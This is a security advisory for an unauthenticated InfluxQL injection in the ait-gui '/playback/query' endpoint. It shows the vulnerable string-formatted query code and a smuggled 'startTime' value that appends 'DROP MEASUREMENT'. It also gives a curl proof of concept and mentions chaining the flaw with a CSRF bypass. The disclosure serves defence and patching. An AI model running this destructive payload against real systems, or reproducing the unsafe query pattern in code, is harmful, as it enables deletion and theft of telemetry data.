# GHSA-X8WW-97RJ-CX44: Unauthenticated InfluxQL injection in /playback/query

- Database: GitHub
- Severity: CVSS 9.8 (Critical)
- Published: 2026-09-21
- Modified: 2026-09-21

## Affected versions

- ait-gui (PyPI): through 2.5.2

## Description

### Summary

`handle_playback_query_post` builds an InfluxQL query by directly string-
formatting three request parameters (`packet`, `startTime`, `endTime`) with no
escaping or validation, then executes it against the InfluxDB historian. An
attacker who can reach the endpoint (directly on the network, or cross-site via
Finding 1) can inject arbitrary InfluxQL. Because the InfluxDB query API
accepts multiple `;`-separated statements, this extends beyond data disclosure
to destructive statements such as `DROP MEASUREMENT` / `DROP SERIES`. The
endpoint performs no session or CSRF-token check.

**Patch**

v2.5.3

**Fix Details**

- AIT-GUI now validates start and endtime before formatting it a SQL Statement.

### Vunerability Details

`ait/gui/__init__.py:1390`:

```python
@App.route("/playback/query", method="POST")
def handle_playback_query_post():
    ...
    packet = bottle.request.forms.get("packet")
    start_time = bottle.request.forms.get("startTime")
    end_time = bottle.request.forms.get("endTime")
    uid = tlm_dict[packet].uid

    point_query = "SELECT * FROM \"{}\" WHERE time >= '{}' AND time <= '{}'".format(
        packet, start_time, end_time
    )
    points = list(playback.dbconn.query(point_query).get_points())
```

`start_time` and `end_time` are placed inside single quotes with no sanitation,
so a value such as

```
2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --
```

closes the quoted literal and appends a second statement. `packet` is
constrained to a valid telemetry-dictionary key (it is used as
`tlm_dict[packet].uid` first, raising `KeyError` otherwise), but `start_time`
and `end_time` are entirely free-form. The same unsanitised
`SELECT * FROM "{}"` pattern also appears in `handle_playback_range_get`
(`ait/gui/__init__.py:1359`); there the value comes from the database rather
than the client, but it demonstrates the pattern is systemic.

Preconditions: telemetry playback must be enabled — i.e. the
`ait.core.server.plugins.data_archive.DataArchive` plugin is configured and a
database connection succeeds (`Playback._db_connect`, `ait/gui/__init__.py:208`).

### PoC

With playback enabled:

```bash
curl -X POST http://localhost:8080/playback/query \
  --data-urlencode 'packet=1553_HS_Packet' \
  --data-urlencode "startTime=2020-01-01T00:00:00Z' ; DROP MEASUREMENT \"1553_HS_Packet\" ; --" \
  --data-urlencode 'endTime=2020-01-02T00:00:00Z'
```

The resulting statement sent to InfluxDB is:

```sql
SELECT * FROM "1553_HS_Packet" WHERE time >= '2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --' AND time <= '2020-01-02T00:00:00Z'
```

For a browser-delivered (CSRF) variant, chain with the `Origin: null` bypass in previous finding.

### Impact

InfluxQL injection (CWE-89). Any client able to reach `/playback/query` — no
authentication or CSRF token required — can read arbitrary measurements from
the telemetry historian and, via multi-statement queries, delete or otherwise
tamper with archived mission telemetry. Combined with Finding 1 it is
exploitable purely by luring an operator to a web page.

## References

- https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-x8ww-97rj-cx44

Page: https://cve.now/GHSA-X8WW-97RJ-CX44

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
